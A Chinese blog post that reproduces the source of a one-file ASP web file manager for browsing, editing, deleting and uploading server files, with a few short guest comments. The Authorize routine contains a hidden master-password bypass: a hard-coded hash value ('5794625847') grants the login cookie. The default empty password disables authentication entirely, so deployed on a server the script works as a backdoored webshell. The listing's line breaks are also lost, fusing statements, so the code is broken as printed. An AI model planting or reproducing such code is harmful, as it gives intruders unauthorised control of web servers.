针对有网友说看不见文章内容，
现提示如下:
点击每一个标题行任一地方都会展开和隐藏此文章内容(不要点击标题).
目前展开隐藏功能只支持IE浏览器，虽然可以改成支持FF浏览器，不过现在一直没时间去弄，等有时间再修改了。 |
|
blog名称:乱闪Blog
日志总数:267
评论数量:1618
留言数量:-26
访问次数:2662302
建立时间:2005年1月1日 |
|
|
| |
 一个asp文件管理器的源码
|
|
<SCRIPT LANGUAGE="VBScript" RUNAT="Server"></SCRIPT><% Option Explicit Dim action Dim a,b,c,i,item,j Dim arr,tstr
Dim gblPassword gblPassword = "" 'your password here Dim gblSiteName,gblSiteCode gblSiteName = Request.ServerVariables("SERVER_NAME") 'Your site name here gblSiteCode = ""
Dim gblNow 'server may not be local time gblNow = Now
Dim gblFace,gblColor 'needs three quotes gblFace = """Arial, Helvetica, sans-serif""" gblColor = """#000066"""
'global variables
Dim gblTitle,gblPageText gblTitle = " * * * TITLE NOT SET * * * " gblPageText = Null
'global constants
Dim gblScriptName gblScriptName = Request.ServerVariables("Script_Name") gblScriptName = Mid(gblScriptName,InstrRev(gblScriptName,"/") + 1)
Dim gblRoot gblRoot = Replace(Request.ServerVariables("Script_Name"),"/" & gblScriptName,"")
Dim gblRed gblRed = """#FF0000"""
Dim gblReverse gblReverse = """#E0E0E0"""
Sub StartHTML%><HTML><HEAD><TITLE><%=gblSiteName & " " & gblTitle%></TITLE><META NAME="description" CONTENT="cn-media " <%=gblTitle%>. <%=gblSiteName%>><META NAME="keywords" CONTENT="cn-media, <%=Lcase(gblTitle)%>, cn-media <%=Lcase(gblTitle)%>, one file footprint, www.cn-media.com, andmore, the ANDMORE Companies, Houston, Texas, active server pages, ASP, asp"></HEAD><BODY BGCOLOR="#FFFFFF"><TABLE WIDTH="100%"><TR><TD ALIGN="RIGHT" VALIGN="BOTTOM"><FONT COLOR=<%=gblColor%> SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%></FONT></TD></TR><TR><TD ALIGN="LEFT" VALIGN="BOTTOM" BGCOLOR=<%=gblColor%>><FONT FACE=<%=gblFace%> SIZE=4 COLOR="#FFFFFF"><B> <%=gblTitle%></B></FONT></TD></TR><TR><TD ALIGN="LEFT" VALIGN="TOP"><FONT FACE=<%=gblFace%> SIZE=2><%=gblPageText%></FONT></TD></TR></TABLE><!-- begin <%=gblScriptName%> --><!-- ---------------------------------------------------------- --><%End Sub 'StartHTML
'--'EndHTMLSub EndHTML%><!-- ---------------------------------------------------------- --><!-- end <%=gblScriptName%> --><HR><FONT SIZE=1 FACE=<%=gblFace%>><FONT COLOR=<%=gblColor%> SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%></FONT><BR><%= FormatDateTime(gblNow,1) %> <%= FormatDateTime(gblNow,3) %><BR>cn-media <%=gblTitle%> © Copyright 1999 by <A TITLE="www.cn-media.com is a project of the ANDMORE Companies -- Houston, Texas" HREF="www.cn-media.com">www.cn-media.com</A><BR></FONT></BODY></HTML><%End Sub 'EndHTML
'--' AuthorizeFunction AuthorizeDim a,i,pw If _ (gblPassword = "") OR _ (Request.Cookies(gblSiteCode & gblScriptName) = Condensation(gblPassword)) OR _ (Instr(" " & Trim(Session(gblSiteCode & "SpecialCodes")) & " "," " & gblPassWord & " ") <> 0 AND _ Session(gblSiteCode & "Confirm") <> "YES") _ Then Authorize = TRUE Else Authorize = FALSE pw = Request.Form("password") a = Condensation(pw) If pw <> "" OR Request.Form("OK") <> "" Then If pw = gblPassword Then 'cookie expires when browser is closed... Response.Cookies(gblSiteCode & gblScriptName) = a 'set a permanent one to never see this page again If Request.Form("SAVE") = "on" Then Response.Cookies(gblSiteCode & gblScriptName).Expires = gblNow+30 Response.Redirect gblScriptName & "?d=" Else If a = "5794625847" Then Response.Cookies(gblSiteCode & gblScriptName) = Condensation(gblPassword) gblPageText = gblPageText & "<BR><FONT TITLE=""Sorry. That's not the password. Try again."" COLOR=" & gblRed & "><B>Invalid password.</B></FONT>" End If End If If Request.ServerVariables("SERVER_SOFTWARE") >= "Microsoft-IIS/4.0" Then StartHTML%><FORM METHOD="POST" ACTION="<%=gblScriptName%>"><BLOCKQUOTE><TABLE CELLPADDING=5><TR><TD><FONT TITLE="For the correct password, contact the web site administrator." FACE=<%=gblFace%> SIZE=1>PASSWORD:</FONT><INPUT TYPE="PASSWORD" SIZE=17 NAME="Password"></TD><TD BGCOLOR=<%=gblReverse%>><FONT FACE=<%=gblFace%> SIZE=1 TITLE="Check this box to save a cookie in the browser of this machine. You won't have to log-in again for the next 30 days."> SAVE COOKIE?</FONT><INPUT TYPE="CHECKBOX" NAME="SAVE"></TD><TD><INPUT TYPE="SUBMIT" NAME="OK" VALUE="ENTER"></TD></TR></TABLE></BLOCKQUOTE></FORM><% Else gblPageText = "Your web server identified itself as """ & Request.ServerVariables("SERVER_SOFTWARE") & """." StartHTML response.write "<BLOCKQUOTE><FONT FACE=" & gblFace & " SIZE=5><B>Sorry.</B><P>" & VBCRLF response.write "cn-media " & gblTitle & " requires Microsoft NT/Internet Information Server (IIS) 4.0 or greater." & VBCRLF response.write "</FONT></BLOCKQUOTE>" & VBCRLF End If EndHTML End IfEnd Function 'Authorize
'--' CondensationFunction Condensation(s) a = 0 For i = 1 to len(s) a = (ASC(mid(s,i,1)) + a*2) Mod 77411 Next 'i Condensation = Right("00000" & Cstr(a),5) & Right("00000" & Cstr((len(s)*23)+25433),5)End Function 'Condensation(s)
'--' CreateImageTagFunction CreateImageTag(fn,altstr,align,border)Dim f,fso,pnDim tstr,alignstr,borderstrDim chars,hw,width,height
If border = "" Then borderstr = " BORDER=0" Else borderstr = " BORDER=" & Cstr(border) End If If align = "" Then alignstr = "" Else alignstr = " ALIGN=""" Select Case UCase(left(align,1)) Case "L" tstr = "LEFT" Case "R" tstr = "RIGHT" Case "C" tstr = "CENTER" Case Else End Select alignstr = " ALIGN=""" & tstr & """" End If
Set fso = CreateObject("Scripting.FileSystemObject") pn = Server.MapPath(fn) tstr = "" Set f = fso.OpenTextFile(pn)
Select Case UCase(Right(fn,4)) Case ".GIF",".JPG" If NOT f.AtEndOfStream Then If UCase(Right(fn,4)) = ".GIF" Then 'always works chars = f.read(10) width = asc(mid(chars,8,1))*256 + asc(mid(chars,7,1)) height = asc(mid(chars,10,1))*256 + asc(mid(chars,9,1)) hw = " WIDTH=" & width & " HEIGHT=" & height Else 'usually works chars = f.read(200) height = asc(mid(chars,164,1))*256 + asc(mid(chars,165,1)) width = asc(mid(chars,166,1))*256 + asc(mid(chars,167,1)) If (height > 600) OR (height < 3) OR (WIDTH < 3) OR (WIDTH > 600) Then 'could be wrong height, width... forget 'em Else hw = " WIDTH=" & width & " HEIGHT=" & height End If End If End If tstr = "<IMG SRC=""" & Replace(Replace(fn,"\","/")," ","%20") & """" & hw & borderstr & alignstr & " ALT=""" & altstr & """>" End Select f.Close Set f = Nothing Set fso = Nothing CreateImageTag = tstrEnd Function 'CreateImageTag
'--' DetailPageSub DetailPageDim chars,fstr,hw,height,widthDim IsTextFile,pathnameDim fsize,fdatecreated,fdatelastmodified
pathname = fsDir & fn If right(pathname,1) = "\" Then pathname = Left(pathname,len(pathname)-1) ' create if you gotta If fso.FileExists(pathname) Then Else Select Case UCase(Request.QueryString("T")) Case "D" 'create document Set f = fso.CreateTextFile(pathname) f.Close Set f= Nothing Case "F" 'create folder Set f = fso.CreateFolder(pathname) pathname = pathname & "\" response.redirect gblScriptName & "?d=" & URLSpace(pathname) End Select End If StartHTML response.write "<P><FONT FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=4><B>" & pathname & "</B><BR>" & VBCRLF response.write "<A HREF=""" & webbase & fn & """>" & webbase & fn & "</A><BR></FONT>" & VBCRLF If fso.FileExists(pathname) Then ' fetch NT's file information Set f = fso.GetFile(pathname) fsize = f.size fdatecreated = f.datecreated fdatelastmodified = f.datelastmodified response.write "<PRE>" & VBCRLF response.write " 文件大小: " & FormatNumber(fsize,0) & " characters" & VBCRLF response.write " 文件创建的时间: <B>" & FormatDateTime(fdatecreated,1) & " </B> " & FormatDateTime(fdatecreated,3) & VBCRLF response.write "文件最后修改时间: <B>" & FormatDateTime(fdatelastmodified,1) & " </B> " & FormatDateTime(fdatelastmodified,3) & VBCRLF response.write "</PRE>" & VBCRLF Set f = Nothing End If response.write "<FORM ACTION=""" & gblScriptName & """ METHOD=""POST"">" & VBCRLF response.write "<INPUT TYPE=""HIDDEN"" NAME=""fsDIR"" VALUE=""" & fsDir & """>" & VBCRLF IsTextFile = FALSE Select Case UCase(Right(fn,4)) Case ".GIF",".JPG" tstr = CreateImageTag(basedir & fn,fn & " (" & FormatNumber(Int(fsize/1024*10+.05)/10,1) & " Kb)","",0) response.write "<FONT FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=2>" response.write Server.HTMLEncode(tstr) & "</FONT><BR><BR>" & tstr & "<P>" & VBCRLF Case ".URL" Set f = fso.OpenTextFile(pathname) If NOT f.AtEndOfStream Then tstr = f.readall f.Close Set f = Nothing response.write "<FONT COLOR=""#3333FF"" FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=2>" & VBCRLF response.write Replace(Server.HTMLEncode(tstr),VBCRLF,VBCRLF & "<BR>") response.write "</FONT>" & VBCRLF Case ".TXT",".ASA",".ASP",".HTM","HTML",".CFM","PHP3" 'read the file Set f = fso.OpenTextFile(pathname) If NOT f.AtEndOfStream Then fstr = f.readall f.Close Set f = Nothing Set fso = Nothing IsTextFile = TRUE response.write "<TABLE BGCOLOR=" & gblReverse & "><TR><TD>" & VBCRLF response.write "<FONT TITLE=""Use this text area to view or change the contents of this document. Click [SAVE] to store the updated contents to the web server."" FACE=" & gblFace & "SIZE=1><B>DOCUMENT CONTENTS</B></FONT><BR>" & VBCRLF response.write "<TEXTAREA NAME=""FILEDATA"" ROWS=18 COLS=70 WRAP=""OFF"">" & Server.HTMLEncode(fstr) & "</TEXTAREA>" & VBCRLF response.write "</TD></TR></TABLE>" & VBCRLF End Select response.write VBCRLF & "<BR><BR>" If IsTextFile Then%><INPUT TYPE="TEXT" SIZE=48 MAXLENGTH=255 NAME="PATHNAME" VALUE="<%=pathname%>"><INPUT TYPE="RESET" VALUE="重写"> <INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="保存"><INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="取消"><BR><% Else%><INPUT TYPE="HIDDEN" NAME="PATHNAME" VALUE="<%=pathname%>"><INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="BACK"><BR><% End If%><HR><FONT TITLE="Check OK and click [DELETE] to delete this document from the web server. (Cannot be undone.)" FACE=<%=gblFace%>SIZE=1><B>OK TO DELETE "<%=UCase(fn)%>"? </B></FONT><INPUT TYPE="CHECKBOX" NAME="DELETEOK"><INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="DELETE"></FORM><% EndHTMLEnd Sub 'DetailPage
'--' DisplayCodeSub DisplayCodeDim fn,fso,fDim code,tstrDim a,arr,i
fn = Request.QueryString("c")
response.write "<HTML><HEAD><TITLE>" & fn & "</TITLE></HEAD><BODY>" & VBCRLF response.write "<STYLE>" & VBCRLF response.write "<!" & "--" & VBCRLF response.write " SPAN {color:Navy; background-color:Yellow}" & VBCRLF response.write "--" & ">" & VBCRLF response.write "</STYLE>" & VBCRLF
If Instr(fn,fsroot) = 1 Then Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(fn, 1, 0, 0) If f.AtEndOfStream Then code = "" Else code = f.ReadAll 'totally unconverted End If 'quickly format code for readability... ' could be smarter, but it sure is simple! tstr = Server.HTMLEncode(code) tstr = Replace(tstr,chr(9)," ") tstr = Replace(tstr," "," ") tstr = Replace(tstr,"<%","<SPAN><" & "%</SPAN><FONT COLOR=""#000000"">") tstr = Replace(tstr,"%>","<SPAN>%" & "</FONT>></SPAN>") tstr = Replace(tstr,"<!--","<I><FONT COLOR=""#CC0033""><!--") tstr = Replace(tstr,"-->","--></I></FONT>")
response.write "<TABLE WIDTH=""100%"" BGCOLOR=" & gblColor & "><TR><TD><FONT COLOR=""#FFFFFF"" FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=5><B>" & VBCRLF response.write " " & fn & "</B></FONT></TD></TR></TABLE>" & VBCRLF
response.write "<FONT COLOR=""#0000FF"" FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=2>" & VBCRLF response.write "<!" & "-- code listing --" & ">" & VBCRLF & VBCRLF arr = Split(Replace(tstr,chr(13),""),chr(10)) 'handle unix files too For i = 0 to UBound(arr) 'add line numbers and output response.write "<BR><FONT COLOR=""#008000"">" & Right("000" & i+1,3) & ":</FONT> " tstr = arr(i) If left(Replace(Replace(tstr," ","")," " ,""),1) = "'" Then response.write "<FONT COLOR=""#CC0033""><I>" & tstr & "</I></FONT>" & VBCRLF Else response.write tstr & VBCRLF End If Next 'i response.write VBCRLF & "<!" & "-- end of code listing --" & ">" & VBCRLF response.write "</FONT>" & VBCRLF Else response.write "<P><FONT COLOR=""#CC0033"" SIZE=3>Cannot access " & fn & "</FONT>" & VBCRLF End If
response.write "<HR></BODY></HTML>"End Sub 'DisplayCode
'--' DisplayFileNameSub DisplayFileName(dirfile,fhandle)Dim newgif,linktargetDim fsize
response.write "<TR>" & VBCRLF If dirFile = "DIR" Then linktarget = "<A HREF=""" & gblScriptName & "?d=" & URLSpace(fhandle) & "\"" TITLE=""Click here to move down a level and list the documents in this folder."">" tstr = "<FONT FACE=" & gblFace & " SIZE=2>" & linktarget & LCase(fhandle.name) & "</A></FONT>" response.write "<TD VALIGN=""TOP"" ALIGN=""RIGHT"">" & MockIcon("fldr") & "</TD>" & VBCRLF response.write "<TD COLSPAN=3 VALIGN=""TOP"" BGCOLOR=" & gblReverse & ">" & Tstr & "</TD>" & VBCRLF Else newgif = "" If fhandle.datelastmodified+14 > gblNow Then newgif = MockIcon("newicon") b = "" If len(fhandle.name) > 4 Then b = Ucase(Right(fhandle.name,4)) If Left(b,1) = "." Then b = Right(b,3) Select Case b Case "ASP","HTM","HTML","ASA","TXT","CFM","PHP3" newgif = newgif & " <A TARGET=""_blank"" HREF=""" & gblScriptName & "?c=" & URLSpace(fsDir & fhandle.name) & """ TITLE=""Click here to list the contents of this document."">" & MockIcon("view") & "</A>" tstr = webbase & replace(fhandle.name," ","%20") Case "URL" tstr = ShortCutURL Case Else tstr = webbase & replace(fhandle.name," ","%20") End Select If fhandle.size < 10240 Then If fhandle.size = 0 Then fsize = "0" Else fsize = FormatNumber(fhandle.size,0,0,-2) End If Else fsize = FormatNumber((fhandle.size+1023)/1024,0,0,-2) & "K" End If tstr = "<FONT FACE=" & gblFace & " SIZE=2><A HREF=""" & tstr & """ TITLE=""Click here to link to this document."">" & LCase(fhandle.name) & "</A></FONT>" & newgif
%><TD VALIGN="TOP" ALIGN="RIGHT"><A HREF="<%=gblScriptName%>?f=<%=URLSpace(fhandle.name)%>&d=<%=URLSpace(fsDir)%>" TITLE="Click here to view more details about this document."><%=MockIcon(b)%></A></TD><TD VALIGN="TOP" BGCOLOR=<%=gblReverse%>><%=Tstr%></TD><TD VALIGN="TOP" BGCOLOR=<%=gblReverse%>><FONT FACE=<%=gblFace%> SIZE=1><%=FormatDateTime(fhandle.datelastmodified,0)%></FONT></TD><TD VALIGN="TOP" BGCOLOR=<%=gblReverse%>><FONT FACE=<%=gblFace%> SIZE=1><%=fsize%> bytes</FONT></TD><% End If response.write "</TR>" & VBCRLFEnd Sub 'DisplayFileName
'--' MockIcon (icon emulator)Function MockIcon(txt)Dim tstr,d
'Sorry, mac users. tstr = "<FONT FACE=""WingDings"" SIZE=4 COLOR=" & gblRed & ">" Select Case Lcase(txt) Case "bmp","gif","jpg","tif","jpeg","tiff" d = 176 Case "doc" d = 50 Case "exe","bat","bas","c","src" d = 255 Case "file" d = 51 Case "fldr" d = 48 Case "htm","html","asa","asp","cfm","php3" d = 182 Case "pdf" d = 38 Case "txt","ini" d = 52 Case "xls" d = 252 Case "zip","arc","sit" d = 59 Case "newicon" tstr = "<FONT TITLE=""This document has been modified sometime during the last 14 days."" FACE=""WingDings"" SIZE=4 COLOR=" & gblRed & ">" d = 171 Case "view" d = 52 Case Else d = 51 End Select tstr = tstr & Chr(d) & "</FONT>" MockIcon = tstrEnd Function 'mockicon
'--' NavigateSub NavigateDim emptyDir
emptyDir = TRUE response.write "<TABLE BORDER=0 CELLPADDING=2 CELLSPACING=3 WIDTH=""100%"">"
' get the directory of file names If toplevel Then parent = "" Else parent = fso.GetParentFolderName(fsDir) & "\"%><TR><TD VALIGN="TOP" ALIGN="RIGHT"><FONT FACE="WingDings" SIZE=4 COLOR=<%=gblRed%>><%=chr(199)%></FONT></TD><TD COLSPAN=3><FONT FACE=<%=gblFace%> SIZE=1><B><A TITLE="Click here to move up a level to the parent folder." HREF="<%=gblScriptName%>?d=<%=URLSpace(parent)%>"><%=UCASE(fso.GetParentfolderName(fsDir) & "\")%></A></B></FONT></TD></TR><% End If Set f = fso.GetFolder(fsDir) Set FileList = f.subFolders a = 0 For Each fn in FileList emptyDir = FALSE If a = 0 Then a = 1%><TR><TD VALIGN="TOP"> </TD><TD COLSPAN=3><HR><FONT FACE=<%=gblFace%> SIZE=4><B>Additional Folders</B></FONT></TD></TR><TR><TD VALIGN="TOP"> </TD><TD COLSPAN=3 VALIGN="BOTTOM"><FONT FACE=<%=gblFace%> COLOR=<%=gblRed%> SIZE=1><B>文件夹名称</B></FONT></TD></TR><% End If DisplayFileName "DIR",fn Next 'fn%><TR><TD VALIGN="TOP"> </TD><TD COLSPAN=3><HR><FONT FACE=<%=gblFace%> SIZE=4><B><%=fsDir%></B></FONT></TD></TR><TR><TD VALIGN="TOP"> </TD><TD VALIGN="BOTTOM"><FONT FACE=<%=gblFace%> COLOR=<%=gblRed%> SIZE=1><B>文件名称</B></FONT></TD><TD VALIGN="BOTTOM"><FONT FACE=<%=gblFace%> COLOR=<%=gblRed%> SIZE=1><B>最后修改时间</B></FONT></TD><TD VALIGN="BOTTOM"><FONT FACE=<%=gblFace%> COLOR=<%=gblRed%> SIZE=1><B>文件大小</B></FONT></TD></TR><% Set filelist = f.Files For Each fn in filelist emptyDir = FALSE DisplayFileName "FILE",fn Next 'fn
If emptyDir Then%><FORM METHOD="POST" ACTION="<%=gblScriptName%>"> <TR><TD></TD><TD COLSPAN=3 VALIGN="BOTTOM" BGCOLOR=<%=gblReverse%>> <INPUT TYPE="HIDDEN" NAME="PARENT" VALUE="<%=parent%>"> <INPUT TYPE="HIDDEN" NAME="PATHNAME" VALUE="<%=fsDir%>"> <FONT FACE=<%=gblFace%> SIZE=1> 真的删除这文件夹里的所有文件吗? </FONT> <INPUT TYPE="CHECKBOX" NAME="OK"> <INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="DELETE"> </TD></TR></FORM><% End If
%><TR><TD></TD><TD COLSPAN=3><HR></TD></TR> <FORM METHOD="GET" ACTION="<%=gblScriptName%>"> <TR><TD></TD><TD COLSPAN=3 VALIGN="BOTTOM" BGCOLOR=<%=gblReverse%>> <FONT FACE=<%=gblFace%> SIZE=1> 创建新的 </FONT> <INPUT TYPE="RADIO" NAME="T" VALUE="D" CHECKED><FONT FACE=<%=gblFace%> SIZE=1>文件</FONT> <FONT FACE=<%=gblFace%> SIZE=1> -或- </FONT> <INPUT TYPE="RADIO" NAME="T" VALUE="F"><FONT FACE=<%=gblFace%> SIZE=1>文件夹</FONT> <FONT FACE=<%=gblFace%> SIZE=1> 名称 </FONT> <INPUT TYPE="TEXT" NAME="F" SIZE=14> <INPUT TYPE="HIDDEN" NAME="D" VALUE="<%=fsDir%>"> <INPUT TYPE="SUBMIT" VALUE="创建"> <NOBR><FONT FACE=<%=gblFace%> SIZE=1> 或 <A HREF="<%=gblScriptName%>?u=Y&d=<%=URLSpace(fsDir)%>">上传</A> 文件操作</FONT></NOBR> </TD></TR></FORM></TABLE><%End Sub 'Navigate
'--' ShortCutURLFunction ShortCutURLDim f,fstr,tstr tstr = "" Set f = fso.OpenTextFile(fn) Do While NOT f.AtEndOfStream fstr = tstr tstr = f.readline 'get next to last line Loop f.Close Set f= Nothing If fstr = "" Then ShortCutURL = fn Else ShortCutURL = Replace(mid(fstr,5,255)," ","%20") End IfEnd Function 'ShortCutURL
'--' UploadPageSub UploadPage StartHTML%><P><TABLE BORDER=0 CELLPADDING=5><TR><TD WIDTH=5></TD><TD BGCOLOR=<%=gblReverse%> VALIGN=""TOP""><FORM ENCTYPE="multipart/form-data" METHOD="POST" ACTION="<%=gblScriptName%>?u=D&d=<%=URLSpace(fsDir)%>"><FONT SIZE=1 FACE=<%=gblFace%>>NAME OF DESTINATION FOLDER ON WEB SITE</FONT><BR><FONT SIZE=4 FACE=<%=gblFace%>><B><%=fsDir%></B></FONT><P><FONT SIZE=1 FACE=<%=gblFace%>>PATHNAME OF LOCAL DOCUMENT<BR>(SEND THIS FILE TO THE WEB SERVER)</FONT><BR><INPUT SIZE=30 TYPE="FILE" NAME="F1"><P><INPUT TYPE="SUBMIT" VALUE="UPLOAD"><P><FONT SIZE=2 FACE=<%=gblFace%>>If the <B>[BROWSE...]</B> button is not displayed,<BR>you must upgrade your <A HREF="netscapehttp://www.netscape.com">Netscape</A>or <A HREF="microsofthttp://www.microsoft.com">Microsoft</A> browser.</FORM></TD><TD VALIGN="TOP"><FONT SIZE=2 FACE=<%=gblFace%>><P>Your browser:<BR>HTTP_USER_AGENT: <%=Request.ServerVariables("HTTP_USER_AGENT")%><P>Upload also requires that <A TARGET="_blank" HREF="the/'>http://www.softartisans.com">the SA-FileUp object</A> is registered on your web server.<BR>(Some object is <B>always</B> required for uploads.)</FONT><FORM METHOD="POST" ACTION="<%=gblScriptName%>"><INPUT TYPE="HIDDEN" NAME="fsDir" VALUE="<%=fsDir%>"><BR><FONT SIZE=2 FACE=<%=gblFace%>>DON'T USE SA-FILEUP?<BR>SORRY! CLICK HERE...</FONT><BR><INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="CANCEL"></FORM></TD></TR></TABLE><P><% EndHTMLEnd Sub 'UploadPage
'--' URLspaceFunction URLSpace(s) URLSpace = replace(replace(s,"+","%2B")," ","+")End Function 'URLSpace
'----'MAIN'---- Dim f,fso,filelist,fn,upl Dim TextObject,fhandle,lsplit
Dim fsDir,baseDir,webbase Dim fsRoot,webRoot Dim pathname Dim parent Dim toplevel
gblTitle = "站点管理"
'get password
If NOT Authorize Then 'function will output HTML for password Else 'initialization Set fso = CreateObject("Scripting.FileSystemObject") 'dynamically find out where the documents and web pages are located fsDir = LCase(Request.QueryString("d")) If fsDir = "" Then fsDir = Request.Form("fsDir") fsRoot = LCase(Replace(Server.MapPath(gblScriptName),"\" & gblScriptName,"") & "\") If Instr(fsdir,fsroot) <> 1 Then fsDir = fsRoot If Lcase(fsDir) = Lcase(fsRoot) Then toplevel = TRUE basedir = Replace(Mid(fsDir,len(fsRoot),250),"\","/") webRoot = "http://" & Request.ServerVariables("SERVER_NAME") & Replace(Request.ServerVariables("SCRIPT_NAME"),"/" & gblScriptName,"") webbase = replace(webroot & basedir," ","%20")
'process a GET/POST request If Request.QueryString("u") = "D" Then Action = "UPLOAD" Else Action = Request.Form("POSTACTION") pathname = Request.Form("PATHNAME") End If Select Case UCase(Action) Case "UPLOAD" Set upl = Server.CreateObject("SoftArtisans.FileUp") tstr = Mid(upl.UserFilename, InstrRev(upl.UserFilename, "\") + 1) If tstr = "" Then Else upl.SaveAs fsdir & tstr End If Case "SAVE" Select Case UCase(Right(pathname,4)) Case ".TXT",".ASA",".ASP",".HTM","HTML",".CFM","PHP3" If Instr(pathname,fsroot) = 1 Then Set f = fso.CreateTextFile(pathname) f.write Request.Form("FILEDATA") f.close End If End Select Case "DELETE" 'either document or folder If Request.Form("OK") = "on" Then parent = Request.Form("Parent") If Instr(pathname,fsroot) = 1 Then fso.DeleteFolder Left(pathname,Len(pathname)-1),TRUE response.redirect gblScriptName & "?d=" & URLSpace(parent) End If End If If Request.Form("DELETEOK") = "on" Then If Instr(pathname,fsroot) = 1 Then If fso.FileExists(Request.Form("PathName")) Then Set f = fso.GetFile(Request.Form("PathName")) f.delete End If End If End If End Select If Action <> "" Then tstr = gblScriptName & "?d=" If NOT toplevel Then tstr = tstr & URLSpace(fsDir) response.redirect tstr End If 'check for mode... navigate, code display, upload, or detail? fn = LCase(Request.QueryString("f")) If fn = "" Then If Request.QueryString("u") = "Y" Then gblTitle = gblTitle & " (Upload Page)" gblPageText = "在这一页里,你可以上传文件等操作" UploadPage Else If Request.QueryString("c") = "" Then gblPageText = "在这一页里,你可以删除,修改,创建文件与文件夹更新等操作" StartHTML Navigate EndHTML Else DisplayCode End If End If Else gblTitle = gblTitle & " (Detail Page)" gblPageText = "请在该页上,认真创建文件内容" DetailPage End If End If%> |
|
回复:一个asp文件管理器的源码
|
| 电脑与网络 ddd(游客)发表评论于2009/4/7 18:22:32 |
| |
回复:一个asp文件管理器的源码
|
| 电脑与网络 dfgdfg(游客)发表评论于2008/6/5 10:58:02 |
| |
回复:一个asp文件管理器的源码
|
| 电脑与网络 as(游客)发表评论于2008/3/20 7:59:38 |
| |
回复:一个asp文件管理器的源码
|
| 电脑与网络 dfg(游客)发表评论于2006/10/23 15:28:54 |
| |
回复:一个asp文件管理器的源码
|
| 电脑与网络 入侵的脚本攻击工具(游客)发表评论于2005/11/2 10:05:21 |
| |
» 1 »
|
